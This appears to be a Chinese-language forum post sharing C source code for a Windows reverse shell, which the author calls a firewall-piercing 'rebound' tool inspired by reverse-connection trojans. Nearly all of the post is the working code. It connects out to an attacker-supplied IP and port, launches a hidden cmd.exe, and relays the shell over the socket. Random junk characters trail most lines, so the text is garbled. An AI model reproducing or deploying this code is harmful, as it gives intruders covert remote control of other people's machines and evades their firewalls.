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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 > #SQDVFf  
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/* ============================== Y>r9"X| &H  
Rebound port in Windows NT IYd)Vv3'j  
By wind,2006/7 fN@2 B  
===============================*/ ydw')Em  
#include AkGCIn3  
#include 9k1n-po  
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#pragma comment(lib,"wsock32.lib") #,Rmu  
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void OutputShell(); ip~PF5  
SOCKET sClient; ^b'[ 81%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1 Nv_;p.{  
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void main(int argc,char **argv) 6tVB}UKs  
{ 6#v"+V  
WSADATA stWsaData; ZhW>H  
int nRet; ))<3+^S0V\  
SOCKADDR_IN stSaiClient,stSaiServer; RV-7y^[]^  
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if(argc != 3) v*kTTaU&  
{ ]*?qaIdqu  
printf("Useage:\n\rRebound DestIP DestPort\n"); |:C=j/f   
return; $5l8V  
} VUk2pEGO.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); al1Uf]xh  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~!\n  
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stSaiClient.sin_family = AF_INET; r/SV.` k  
stSaiClient.sin_port = htons(0); |oa 9 g2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IWX%6*Zz  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R["_Mff  
{ ^8-CUH\  
printf("Bind Socket Failed!\n"); j*xxOwf  
return; {x  s{  
} k1W q$KCwG  
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stSaiServer.sin_family = AF_INET; 0@vSl%I+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r!'\$(m E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q u{#4qToA  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5\lOZYHX  
{ F.zn:yX5  
printf("Connect Error!"); H1]G<N3  
return; qdWsP9}q  
} v<$a .I(  
OutputShell(); hT]\*},  
} X0O@,  
#}3$n/  
void OutputShell() WbB0{s  
{ se2ay_<F+  
char szBuff[1024]; {fmSmD  
SECURITY_ATTRIBUTES stSecurityAttributes; q,A;d^g  
OSVERSIONINFO stOsversionInfo; <J!#k@LY]7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "CX&2Xfe  
STARTUPINFO stStartupInfo; *%bQp  
char *szShell; jNBvy1  
PROCESS_INFORMATION stProcessInformation; EA8K*>'pv  
unsigned long lBytesRead; ;b-Y$<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q E1DTU  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3!ZndW SHV  
stSecurityAttributes.lpSecurityDescriptor = 0; :=3Ty]e  
stSecurityAttributes.bInheritHandle = TRUE; }j;*7x8(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Lj`MFZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6SJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `KgIr,Q)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]lV\D8#  
stStartupInfo.wShowWindow = SW_HIDE; PRa #; Wb  
stStartupInfo.hStdInput = hReadPipe; B@U;[cO&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Zl^#U c"  
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GetVersionEx(&stOsversionInfo); )2~Iqzc4  
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switch(stOsversionInfo.dwPlatformId) Z:j6AF3;  
{ b=(?\  
case 1: w,f1F;!q1  
szShell = "command.com"; '7Q5"M'  
break; lky{<jZ%  
default: s~V%eq("}  
szShell = "cmd.exe"; m WN9/+!  
break; 4EQ-48h17  
} .sCi9d WR  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lB3@ jF  
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send(sClient,szMsg,77,0); I@ "%iYL  
while(1) tj7{[3~-[  
{ _8]hn[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f sRRnD  
if(lBytesRead) <_(UAv  
{ av~dH=&=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 99)md   
send(sClient,szBuff,lBytesRead,0); 3z5w}qN] M  
} W(.q. Sx>  
else M`{~AIqd(  
{ %an"cQ ]  
lBytesRead=recv(sClient,szBuff,1024,0); &Cv0oi&B  
if(lBytesRead<=0) break; AM?62  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `0'Bg2'  
} oS.fy31p  
} 7S'3U}Y>VX  
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return; @'XxMO[Z!<  
}
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